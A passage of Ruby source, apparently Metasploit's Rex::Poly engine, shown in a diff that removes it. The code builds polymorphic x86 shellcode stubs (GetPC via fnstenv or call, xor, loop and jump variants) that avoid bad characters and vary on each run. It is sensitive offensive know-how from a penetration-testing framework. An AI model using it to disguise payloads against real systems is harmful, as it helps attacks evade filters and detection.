super( name, '', machine, '' )
|
||||
# fudge the initial symbolic offset with a default (it gets patched correctly later),
|
||||
# helps with the end symbolic block to not be 0 (as its a forward reference it really
|
||||
# slows things down if we leave it 0)
|
||||
@offset = initial_offset
|
||||
# A symbolic block is allways active!
|
||||
@active = true
|
||||
end
|
||||
|
||||
#
|
||||
# We block all attempts to set the active state of this permutation so as
|
||||
# it is always true. This lets us always address the offset.
|
||||
#
|
||||
def active=( value )
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# A primitive is a machine defined permutation which accepts some arguments when it is called.
|
||||
#
|
||||
class Primitive
|
||||
|
||||
#
|
||||
# Initialize this primitive with its target source procedure and the machine it belongs to.
|
||||
#
|
||||
def initialize( source )
|
||||
@source = source
|
||||
end
|
||||
|
||||
#
|
||||
# Call the primitives source procedure, passing in the arguments.
|
||||
#
|
||||
def call( name, machine, *args )
|
||||
return @source.call( name, machine, *args )
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Block
|
||||
|
||||
#attr_accessor :next, :previous
|
||||
attr_reader :name
|
||||
|
||||
def initialize( name )
|
||||
@name = name
|
||||
@next = nil
|
||||
@previous = nil
|
||||
@permutations = ::Array.new
|
||||
end
|
||||
|
||||
def shuffle
|
||||
@permutations = @permutations.shuffle
|
||||
end
|
||||
|
||||
def solve
|
||||
@permutations.first.solve
|
||||
end
|
||||
|
||||
def << ( permutation )
|
||||
@permutations << permutation
|
||||
end
|
||||
|
||||
def each
|
||||
@permutations.each do | permutation |
|
||||
yield permutation
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# A class to hold a solution for a Rex::Poly::Machine problem.
|
||||
#
|
||||
class Solution
|
||||
|
||||
attr_reader :offset
|
||||
|
||||
def initialize
|
||||
@permutations = ::Array.new
|
||||
@reg_state = ::Array.new
|
||||
@offset = 0
|
||||
end
|
||||
|
||||
#
|
||||
# Reset this solution to an empty state.
|
||||
#
|
||||
def reset
|
||||
@offset = 0
|
||||
@permutations.each do | permutation |
|
||||
permutation.active = false
|
||||
permutation.offset = 0
|
||||
end
|
||||
@permutations.clear
|
||||
@reg_state.clear
|
||||
end
|
||||
|
||||
#
|
||||
# Push a new permutation onto this solutions permutations list and save the associated register/variables state
|
||||
#
|
||||
def push( permutation, reg_available, reg_consumed, variables )
|
||||
permutation.active = true
|
||||
permutation.offset = @offset
|
||||
@offset += permutation.length
|
||||
@permutations.push( permutation )
|
||||
@reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] )
|
||||
end
|
||||
|
||||
#
|
||||
# Pop off the last permutaion and register/variables state from this solution.
|
||||
#
|
||||
def pop
|
||||
reg_available, reg_consumed, variables = @reg_state.pop
|
||||
permutation = @permutations.pop
|
||||
permutation.active = false
|
||||
permutation.offset = 0
|
||||
@offset -= permutation.length
|
||||
return permutation, reg_available, reg_consumed, variables
|
||||
end
|
||||
|
||||
#
|
||||
# Render the final buffer.
|
||||
#
|
||||
def buffer
|
||||
previous_offset = nil
|
||||
count = 0
|
||||
# perform an N-pass fixup for offsets...
|
||||
while( true ) do
|
||||
# If we cant get the offsets fixed within a fixed ammount of tries we return
|
||||
# nil to indicate failure and keep searching for a solution that will work.
|
||||
if( count > 64 )
|
||||
return nil
|
||||
end
|
||||
# Reset the solution offset so as to update it for this pass
|
||||
@offset = 0
|
||||
# perform a single pass to ensure we are using the correct offset values
|
||||
@permutations.each do | permutation |
|
||||
permutation.offset = @offset
|
||||
# Note: calling render() can throw both UndefinedPermutation and UnallowedPermutation exceptions,
|
||||
# however as we assume we only ever return the buffer once a final solution has been generated
|
||||
# we should never have either of those exceptions thrown.
|
||||
permutation.render
|
||||
@offset += permutation.length
|
||||
end
|
||||
# If we have generated two consecutive passes which are the same length we can stop fixing up the offsets.
|
||||
if( not previous_offset.nil? and @offset == previous_offset )
|
||||
break
|
||||
end
|
||||
count +=1
|
||||
previous_offset = @offset
|
||||
end
|
||||
# now a final pass to render the solution into the raw buffer
|
||||
raw = ''
|
||||
@permutations.each do | permutation |
|
||||
#$stderr.puts "#{permutation.name} - #{ "0x%08X (%d)" % [ permutation.offset, permutation.length] } "
|
||||
raw << permutation.render
|
||||
end
|
||||
return raw
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Create a new machine instance.
|
||||
#
|
||||
def initialize( badchars, cpu )
|
||||
@badchars = badchars
|
||||
@cpu = cpu
|
||||
|
||||
@reg_available = ::Array.new
|
||||
@reg_consumed = ::Array.new
|
||||
@variables = ::Hash.new
|
||||
@blocks = ::Hash.new
|
||||
@primitives = ::Hash.new
|
||||
@solution = Solution.new
|
||||
|
||||
_create_primitives
|
||||
|
||||
@blocks['begin'] = Block.new( 'begin' )
|
||||
@blocks['begin'] << SymbolicPermutation.new( 'begin', self )
|
||||
|
||||
_create_variable( 'temp' )
|
||||
end
|
||||
|
||||
#
|
||||
# Overloaded by a subclass to return the maximum native general register size supported.
|
||||
#
|
||||
def native_size
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Use METASM to assemble a line of asm using this machines current cpu.
|
||||
#
|
||||
def assemble( asm )
|
||||
return Metasm::Shellcode.assemble( @cpu, asm ).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Check if a data blob is valid against the badchar list (or perform any other validation here)
|
||||
#
|
||||
def is_valid?( data )
|
||||
if( data.nil? )
|
||||
return false
|
||||
end
|
||||
return Rex::Text.badchar_index( data, @badchars ).nil?
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a 64 bit number whoes bytes are valid in this machine.
|
||||
#
|
||||
def make_safe_qword( number=nil )
|
||||
return _make_safe_number( QWORD, number ) & 0xFFFFFFFFFFFFFFFF
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a 32 bit number whoes bytes are valid in this machine.
|
||||
#
|
||||
def make_safe_dword( number=nil )
|
||||
return _make_safe_number( DWORD, number ) & 0xFFFFFFFF
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a 16 bit number whoes bytes are valid in this machine.
|
||||
#
|
||||
def make_safe_word( number=nil )
|
||||
return _make_safe_number( WORD, number ) & 0xFFFF
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a 8 bit number whoes bytes are valid in this machine.
|
||||
#
|
||||
def make_safe_byte( number=nil )
|
||||
return _make_safe_number( BYTE, number ) & 0xFF
|
||||
end
|
||||
|
||||
#
|
||||
# Create a variable by name which will be assigned a register during generation. We can
|
||||
# optionally assign a static register value to a variable if needed.
|
||||
#
|
||||
def create_variable( name, reg=nil )
|
||||
# Sanity check we aren't trying to create one of the reserved variables.
|
||||
if( name == 'temp' )
|
||||
raise RuntimeError, "Unable to create variable, '#{name}' is a reserved variable name."
|
||||
end
|
||||
return _create_variable( name, reg )
|
||||
end
|
||||
|
||||
#
|
||||
# If the temp variable was assigned we release it.
|
||||
#
|
||||
def release_temp_variable
|
||||
if( @variables['temp'] )
|
||||
regnum = @variables['temp']
|
||||
# Sanity check the temp variable was actually assigned (it may not have been if the last permutation didnot use it)
|
||||
if( regnum )
|
||||
# place the assigned register back in the available list for consumption later.
|
||||
@reg_available.push( @reg_consumed.delete( regnum ) )
|
||||
# unasign the temp vars register
|
||||
@variables['temp'] = nil
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Resolve a variable name into its currently assigned register value.
|
||||
#
|
||||
def variable_value( name, size=nil )
|
||||
# Sanity check we this variable has been created
|
||||
if( not @variables.has_key?( name ) )
|
||||
raise RuntimeError, "Unknown register '#{name}'."
|
||||
end
|
||||
# Pull out its current register value if it has been assigned one
|
||||
regnum = @variables[ name ]
|
||||
if( not regnum )
|
||||
regnum = @reg_available.pop
|
||||
if( not regnum )
|
||||
raise RuntimeError, "Unable to assign variable '#{name}' a register value, none available."
|
||||
end
|
||||
# and add it to the consumed list so we can track it later
|
||||
@reg_consumed << regnum
|
||||
# and now assign the variable the register
|
||||
@variables[ name ] = regnum
|
||||
end
|
||||
# resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32)
|
||||
return _register_value( regnum, size )
|
||||
end
|
||||
|
||||
#
|
||||
# Check this solution is still currently valid (as offsets change it may not be).
|
||||
#
|
||||
def solution_is_valid?
|
||||
return self.is_valid?( @solution.buffer )
|
||||
end
|
||||
|
||||
#
|
||||
# As the solution advances we save state for each permutation step in the solution. This lets
|
||||
# use rewind at a later stage if the solving algorithm wishes to perform some backtracking.
|
||||
#
|
||||
def solution_push( permutation )
|
||||
@solution.push( permutation, @reg_available, @reg_consumed, @variables )
|
||||
end
|
||||
|
||||
#
|
||||
# Backtrack one step in the solution and restore the register/variable state.
|
||||
#
|
||||
def solution_pop
|
||||
permutation, @reg_available, @reg_consumed, @variables = @solution.pop
|
||||
|
||||
@reg_available.push( @reg_available.shift )
|
||||
end
|
||||
|
||||
#
|
||||
# Create a block by name and add in its list of permutations.
|
||||
#
|
||||
# XXX: this doesnt support the fuzzy order of block dependencies ala the origional rex::poly
|
||||
def create_block( name, *permutation_sources )
|
||||
# Sanity check we aren't trying to create one of the reserved symbolic blocks.
|
||||
if( name == 'begin' or name == 'end' )
|
||||
raise RuntimeError, "Unable to add block, '#{name}' is a reserved block name."
|
||||
end
|
||||
# If this is the first time this block is being created, create the block object to hold the permutation list
|
||||
if( not @blocks[name] )
|
||||
@blocks[name] = Block.new( name )
|
||||
end
|
||||
# Now create a new permutation object for every one supplied.
|
||||
permutation_sources.each do | source |
|
||||
@blocks[name] << Permutation.new( name, '', self, source )
|
||||
end
|
||||
return name
|
||||
end
|
||||
|
||||
#
|
||||
# Create a block which is based on a primitive defined by this machine.
|
||||
#
|
||||
def create_block_primitive( block_name, primitive_name, *args )
|
||||
# Santiy check this primitive is actually available and is not an internal primitive (begins with an _).
|
||||
if( not @primitives[primitive_name] or primitive_name[0] == "_" )
|
||||
raise RuntimeError, "Unable to add block, Primitive '#{primitive_name}' is not available."
|
||||
end
|
||||
# Sanity check we aren't trying to create one of the reserved symbolic blocks.
|
||||
if( block_name == 'begin' or block_name == 'end' )
|
||||
raise RuntimeError, "Unable to add block, '#{block_name}' is a reserved block name."
|
||||
end
|
||||
return _create_block_primitive( block_name, primitive_name, *args )
|
||||
end
|
||||
|
||||
#
|
||||
# Get the offset for a blocks active permutation. This is easy for backward references as
|
||||
# they will already have been rendered and their sizes known. For forward references we
|
||||
# can't know in advance but the correct value can be known later once the final solution is
|
||||
# available and a final pass to generate the raw buffer is made.
|
||||
#
|
||||
def block_offset( name )
|
||||
if( name == 'end' )
|
||||
return @solution.offset
|
||||
elsif( @blocks[name] )
|
||||
@blocks[name].each do | permutation |
|
||||
if( permutation.active )
|
||||
return permutation.offset
|
||||
end
|
||||
end
|
||||
end
|
||||
# If we are forward referencing a block it will be at least the current solutions offset +1
|
||||
return @solution.offset + 1
|
||||
end
|
||||
|
||||
#
|
||||
# Does a given block exist?
|
||||
#
|
||||
def block_exist?( name )
|
||||
return @blocks.include?( name )
|
||||
end
|
||||
|
||||
#
|
||||
# Does a given block exist?
|
||||
#
|
||||
def variable_exist?( name )
|
||||
return @variables.include?( name )
|
||||
end
|
||||
|
||||
# XXX: ambiguity between variable names and block name may introduce confusion!!! make them be unique.
|
||||
|
||||
#
|
||||
# Resolve a given value into either a number literal, a block offset or
|
||||
# a variables assigned register.
|
||||
#
|
||||
def resolve_value( value, size=nil )
|
||||
if( block_exist?( value ) )
|
||||
return block_offset( value )
|
||||
elsif( variable_exist?( value ) )
|
||||
return variable_value( value, size )
|
||||
end
|
||||
return value.to_i
|
||||
end
|
||||
|
||||
#
|
||||
# Get the block previous to the target block.
|
||||
#
|
||||
def block_previous( target_block )
|
||||
previous_block = nil
|
||||
@blocks.each_key do | current_block |
|
||||
if( current_block == target_block )
|
||||
return previous_block
|
||||
end
|
||||
previous_block = current_block
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# Get the block next to the target block.
|
||||
#
|
||||
def block_next( target_block )
|
||||
@blocks.each_key do | current_block |
|
||||
if( block_previous( current_block ) == target_block )
|
||||
return current_block
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# Try to generate a solution.
|
||||
#
|
||||
def generate
|
||||
|
||||
if( @blocks.has_key?( 'end' ) )
|
||||
@blocks.delete( 'end' )
|
||||
end
|
||||
|
||||
@blocks['end'] = Block.new( 'end' )
|
||||
@blocks['end'] << SymbolicPermutation.new( 'end', self, 1 )
|
||||
|
||||
# Mix up the permutation orders for each block and create the tree structure.
|
||||
previous = ::Array.new
|
||||
@blocks.each_value do | block |
|
||||
# Shuffle the order of the blocks permutations.
|
||||
block.shuffle
|
||||
# create the tree by adding the current blocks permutations as children of the previous block.
|
||||
current = ::Array.new
|
||||
block.each do | permutation |
|
||||
permutation.remove_children
|
||||
previous.each do | prev |
|
||||
prev.add_child( permutation )
|
||||
end
|
||||
current << permutation
|
||||
end
|
||||
previous = current
|
||||
end
|
||||
|
||||
# Shuffle the order of the available registers
|
||||
@reg_available = @reg_available.shuffle
|
||||
|
||||
# We must try every permutation of the register orders, so if we fail to
|
||||
# generate a solution we rotate the available registers to try again with
|
||||
# a different order. This ensures we perform and exhaustive search.
|
||||
0.upto( @reg_available.length - 1 ) do
|
||||
|
||||
@solution.reset
|
||||
|
||||
# Start from the root node in the solution space and generate a
|
||||
# solution by traversing the solution space's tree structure.
|
||||
if( @blocks['begin'].solve )
|
||||
# Return the solutions buffer (perform a last pass to fixup all offsets)...
|
||||
return @solution.buffer
|
||||
end
|
||||
|
||||
@reg_available.push( @reg_available.shift )
|
||||
end
|
||||
|
||||
# :(
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# An UndefinedPermutation exception is raised when a permutation can't render yet
|
||||
# as the conditions required are not yet satisfied.
|
||||
#
|
||||
class UndefinedPermutation < RuntimeError
|
||||
def initialize( msg=nil )
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# An UnallowedPermutation exception is raised when a permutation can't ever render
|
||||
# as the conditions supplied are impossible to satisfy.
|
||||
#
|
||||
class UnallowedPermutation < RuntimeError
|
||||
def initialize( msg=nil )
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# An InvalidPermutation exception is raised when a permutation receives a invalid
|
||||
# argument and cannot continue to render. This is a fatal exception.
|
||||
#
|
||||
class InvalidPermutation < RuntimeError
|
||||
def initialize( msg=nil )
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Overloaded by a subclass to resolve a register number into a suitable register
|
||||
# name for the target architecture. E.g on x64 the register number 0 with size 64
|
||||
# would resolve to RCX. Size is nil by default to indicate we want the default
|
||||
# machine size, e.g. 32bit DWORD on x86 or 64bit QWORD on x64.
|
||||
#
|
||||
def _register_value( regnum, size=nil )
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Perform the actual variable creation.
|
||||
#
|
||||
def _create_variable( name, reg=nil )
|
||||
regnum = nil
|
||||
# Sanity check this variable has not already been created.
|
||||
if( @variables[name] )
|
||||
raise RuntimeError, "Variable '#{name}' is already created."
|
||||
end
|
||||
# If a fixed register is being assigned to this variable then resolve it
|
||||
if( reg )
|
||||
# Resolve the register name into a register number
|
||||
@reg_available.each do | num |
|
||||
if( _register_value( num ) == reg.downcase )
|
||||
regnum = num
|
||||
break
|
||||
end
|
||||
end
|
||||
# If an invalid register name was given or the chosen register is not available we must fail.
|
||||
if( not regnum )
|
||||
raise RuntimeError, "Register '#{reg}' is unknown or unavailable."
|
||||
end
|
||||
# Sanity check another variable isnt assigned this register
|
||||
if( @variables.has_value?( regnum ) )
|
||||
raise RuntimeError, "Register number '#{regnum}' is already consumed by variable '#{@variables[name]}'."
|
||||
end
|
||||
# Finally we consume the register chosen so we dont select it again later.
|
||||
@reg_consumed << @reg_available.delete( regnum )
|
||||
end
|
||||
# Create the variable and assign it a register number (or nil if not yet assigned)
|
||||
@variables[name] = regnum
|
||||
return name
|
||||
end
|
||||
|
||||
#
|
||||
# Create a block which is based on a primitive defined by this machine.
|
||||
#
|
||||
def _create_block_primitive( block_name, primitive_name, *args )
|
||||
# If this is the first time this block is being created, create the array to hold the permutation list
|
||||
if( not @blocks[block_name] )
|
||||
@blocks[block_name] = Block.new( block_name )
|
||||
end
|
||||
# Now create a new permutation object for every one supplied.
|
||||
@primitives[primitive_name].each do | source |
|
||||
@blocks[block_name] << Permutation.new( block_name, primitive_name, self, source, args )
|
||||
end
|
||||
return block_name
|
||||
end
|
||||
|
||||
#
|
||||
# Overloaded by a subclass to create any primitives available in this machine.
|
||||
#
|
||||
def _create_primitives
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Rex::Poly::Machine::Primitive
|
||||
#
|
||||
def _create_primitive( name, *permutations )
|
||||
# If this is the first time this primitive is being created, create the array to hold the permutation list
|
||||
if( not @primitives[name] )
|
||||
@primitives[name] = ::Array.new
|
||||
end
|
||||
# Add in the permutation object (Rex::Poly::Machine::Primitive) for every one supplied.
|
||||
permutations.each do | permutation |
|
||||
@primitives[name] << Primitive.new( permutation )
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Helper function to generate a number whoes byte representation is valid in this
|
||||
# machine (does not contain any badchars for example). Optionally we can supply a
|
||||
# number and the resulting addition/subtraction of this number against the newly
|
||||
# generated value is also tested for validity. This helps in the assembly primitives
|
||||
# which can use these values.
|
||||
#
|
||||
def _make_safe_number( bytes, number=nil )
|
||||
format = ''
|
||||
if( bytes == BYTE )
|
||||
format = 'C'
|
||||
elsif( bytes == WORD )
|
||||
format = 'v'
|
||||
elsif( bytes == DWORD )
|
||||
format = 'V'
|
||||
elsif( bytes == QWORD )
|
||||
format = 'Q'
|
||||
else
|
||||
raise RuntimeError, "Invalid size '#{bytes}' used in _make_safe_number."
|
||||
end
|
||||
|
||||
goodchars = (0..255).to_a
|
||||
|
||||
@badchars.unpack( 'C*' ).each do | b |
|
||||
goodchars.delete( b.chr )
|
||||
end
|
||||
|
||||
while( true ) do
|
||||
value = 0
|
||||
|
||||
0.upto( bytes-1 ) do | i |
|
||||
value |= ( (goodchars[ rand(goodchars.length) ] << i*8) & (0xFF << i*8) )
|
||||
end
|
||||
|
||||
if( not is_valid?( [ value ].pack(format) ) or not is_valid?( [ ~value ].pack(format) ) )
|
||||
redo
|
||||
end
|
||||
|
||||
if( not number.nil? )
|
||||
if( not is_valid?( [ value + number ].pack(format) ) or not is_valid?( [ value - number ].pack(format) ) )
|
||||
redo
|
||||
end
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
|
||||
return value
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -1,509 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
|
||||
module Poly
|
||||
|
||||
#
|
||||
# A subclass to represent a Rex poly machine on the x86 architecture.
|
||||
#
|
||||
class MachineX86 < Rex::Poly::Machine
|
||||
|
||||
def initialize( badchars='', consume_base_pointer=nil, consume_stack_pointer=true )
|
||||
super( badchars, Metasm::Ia32.new )
|
||||
|
||||
@reg_available << Rex::Arch::X86::EAX
|
||||
@reg_available << Rex::Arch::X86::EBX
|
||||
@reg_available << Rex::Arch::X86::ECX
|
||||
@reg_available << Rex::Arch::X86::EDX
|
||||
@reg_available << Rex::Arch::X86::ESI
|
||||
@reg_available << Rex::Arch::X86::EDI
|
||||
@reg_available << Rex::Arch::X86::EBP
|
||||
@reg_available << Rex::Arch::X86::ESP
|
||||
|
||||
# By default we consume the EBP register if badchars contains \x00. This helps speed
|
||||
# things up greatly as many instructions opperating on EBP introduce a NULL byte. For
|
||||
# example, a MOV instruction with EAX as the source operand is as follows:
|
||||
# 8B08 mov ecx, [eax]
|
||||
# but the same instruction with EBP as the source operand is as follows:
|
||||
# 8B4D00 mov ecx, [ebp] ; This is assembled as 'mov ecx, [ebp+0]'
|
||||
# we can see that EBP is encoded differently with an offset included. We can still
|
||||
# try to generate a solution with EBP included and \x00 in the badchars list but
|
||||
# it can take considerably longer.
|
||||
if( ( consume_base_pointer.nil? and not Rex::Text.badchar_index( "\x00", @badchars ).nil? ) or consume_base_pointer == true )
|
||||
create_variable( 'base_pointer', 'ebp' )
|
||||
end
|
||||
|
||||
# By default we consume the ESP register to avoid munging the stack.
|
||||
if( consume_stack_pointer )
|
||||
create_variable( 'stack_pointer', 'esp' )
|
||||
end
|
||||
|
||||
# discover all the safe FPU instruction we can use.
|
||||
@safe_fpu_instructions = ::Array.new
|
||||
Rex::Arch::X86.fpu_instructions.each do | fpu |
|
||||
if( is_valid?( fpu ) )
|
||||
@safe_fpu_instructions << fpu
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The general purpose registers are 32bit
|
||||
#
|
||||
def native_size
|
||||
Rex::Poly::Machine::DWORD
|
||||
end
|
||||
|
||||
#
|
||||
# Overload this method to intercept the 'set' primitive with the 'location' keyword
|
||||
# and create the block with the '_set_variable_location'. We do this to keep a
|
||||
# consistent style.
|
||||
#
|
||||
def create_block_primitive( block_name, primitive_name, *args )
|
||||
if( primitive_name == 'set' and args.length == 2 and args[1] == 'location' )
|
||||
_create_block_primitive( block_name, '_set_variable_location', args[0] )
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# XXX: If we have a loop primitive, it is a decent speed bump to force the associated variable
|
||||
# of the first loop primitive to be assigned as ECX (for the x86 LOOP instruction), this is not
|
||||
# neccasary but can speed generation up significantly.
|
||||
#
|
||||
#def generate
|
||||
# @blocks.each_value do | block |
|
||||
# if( block.first.primitive == 'loop' )
|
||||
# @variables.delete( block.first.args.first )
|
||||
# create_variable( block.first.args.first, 'ecx' )
|
||||
# break
|
||||
# end
|
||||
# end
|
||||
# # ...go go go
|
||||
# super
|
||||
#end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Resolve a register number into a suitable register name.
|
||||
#
|
||||
def _register_value( regnum, size=nil )
|
||||
value = nil
|
||||
# we default to a native 32 bits if no size is specified.
|
||||
if( size.nil? )
|
||||
size = native_size()
|
||||
end
|
||||
|
||||
if( size == Rex::Poly::Machine::DWORD )
|
||||
value = Rex::Arch::X86::REG_NAMES32[ regnum ]
|
||||
elsif( size == Rex::Poly::Machine::WORD )
|
||||
value = Rex::Arch::X86::REG_NAMES16[ regnum ]
|
||||
elsif( size == Rex::Poly::Machine::BYTE )
|
||||
# (will return nil for ESI,EDI,EBP,ESP)
|
||||
value = Rex::Arch::X86::REG_NAMES8L[ regnum ]
|
||||
else
|
||||
raise RuntimeError, "Register number '#{regnum}' (size #{size.to_i}) is unavailable."
|
||||
end
|
||||
return value
|
||||
end
|
||||
|
||||
#
|
||||
# Create the x86 primitives.
|
||||
#
|
||||
def _create_primitives
|
||||
|
||||
#
|
||||
# Create the '_set_variable_location' primitive. The first param it the variable to place the current
|
||||
# blocks location value in.
|
||||
#
|
||||
_create_primitive( '_set_variable_location',
|
||||
::Proc.new do | block, machine, variable |
|
||||
if( @safe_fpu_instructions.empty? )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
|
||||
"mov #{machine.variable_value( 'temp' )}, esp",
|
||||
"fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]",
|
||||
"pop #{machine.variable_value( variable )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable |
|
||||
if( @safe_fpu_instructions.empty? )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
|
||||
"mov #{machine.variable_value( 'temp' )}, esp",
|
||||
"fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]",
|
||||
"pop #{machine.variable_value( variable )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable |
|
||||
if( @safe_fpu_instructions.empty? )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
|
||||
"push esp",
|
||||
"pop #{machine.variable_value( 'temp' )}",
|
||||
"fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]",
|
||||
"pop #{machine.variable_value( variable )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable |
|
||||
if( @safe_fpu_instructions.empty? )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }",
|
||||
"fnstenv [ esp - 12 ]",
|
||||
"pop #{machine.variable_value( variable )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable |
|
||||
[
|
||||
"call $+5",
|
||||
"pop #{machine.variable_value( variable )}",
|
||||
"push #{machine.block_offset( block ) + 5}",
|
||||
"pop #{machine.variable_value( 'temp' )}",
|
||||
"sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable |
|
||||
[
|
||||
"db 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0",
|
||||
"pop #{machine.variable_value( variable )}",
|
||||
"push #{machine.block_offset( block ) + 5}",
|
||||
"pop #{machine.variable_value( 'temp' )}",
|
||||
"sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
|
||||
]
|
||||
end
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'loop' primitive. The first param it the counter variable which holds the number of
|
||||
# times to perform the loop. The second param it the destination block to loop to.
|
||||
#
|
||||
_create_primitive( 'loop',
|
||||
::Proc.new do | block, machine, counter, destination |
|
||||
if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] )
|
||||
# we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is
|
||||
# chosen we simply can't render this. This lets the machine know we can still try to use this
|
||||
# permutation and at a later stage the requirements (counter==ecx) may be satisfied.
|
||||
raise UndefinedPermutation
|
||||
end
|
||||
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
|
||||
Rex::Arch::X86.loop( offset )
|
||||
end,
|
||||
::Proc.new do | block, machine, counter, destination |
|
||||
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
|
||||
[
|
||||
"dec #{machine.variable_value( counter )}",
|
||||
"test #{machine.variable_value( counter )}, #{machine.variable_value( counter )}",
|
||||
# JNZ destination
|
||||
"db 0x0F, 0x85 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }"
|
||||
]
|
||||
end
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'xor' primitive. The first param it the variable to xor with the second param value which
|
||||
# can be either a variable, literal or block offset.
|
||||
#
|
||||
_create_primitive( 'xor',
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
[
|
||||
"xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
# a ^ b == (a | b) & ~(a & b)
|
||||
[
|
||||
"mov #{machine.variable_value( 'temp' )}, #{machine.variable_value( variable )}",
|
||||
"or #{machine.variable_value( 'temp' )}, #{machine.resolve_value( value )}",
|
||||
"and #{machine.variable_value( variable )}, #{machine.resolve_value( value )}",
|
||||
"not #{machine.variable_value( variable )}",
|
||||
"and #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}"
|
||||
]
|
||||
end
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'goto' primitive. The first param is a destination block to jump to.
|
||||
#
|
||||
_create_primitive( 'goto',
|
||||
::Proc.new do | block, machine, destination |
|
||||
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
|
||||
if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
# short relative jump
|
||||
"db 0xEB db #{ "0x%02X" % [ offset & 0xFF ] }"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, destination |
|
||||
offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) )
|
||||
[
|
||||
# near relative jump
|
||||
"db 0xE9 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }"
|
||||
]
|
||||
end
|
||||
)
|
||||
|
||||
#
|
||||
# Create the 'add' primitive. The first param it the variable which will be added to the second
|
||||
# param, which may either be a literal number value, a variables assigned register or a block
|
||||
# name, in which case the block offset will be used.
|
||||
#
|
||||
_create_primitive( 'add',
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
if( machine.variable_exist?( value ) )
|
||||
raise UnallowedPermutation
|
||||
end
|
||||
[
|
||||
"lea #{machine.variable_value( variable )}, [ #{machine.variable_value( variable )} + #{machine.resolve_value( value )} ]"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
[
|
||||
"push #{machine.resolve_value( value )}",
|
||||
"add #{machine.variable_value( variable )}, [esp]",
|
||||
"pop #{machine.variable_value( 'temp' )}"
|
||||
]
|
||||
end,
|
||||
::Proc.new do | block, machine, variable, value |
|
||||
[
|
||||
"add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}"
|
||||
]
|
||||
end,
|
||||
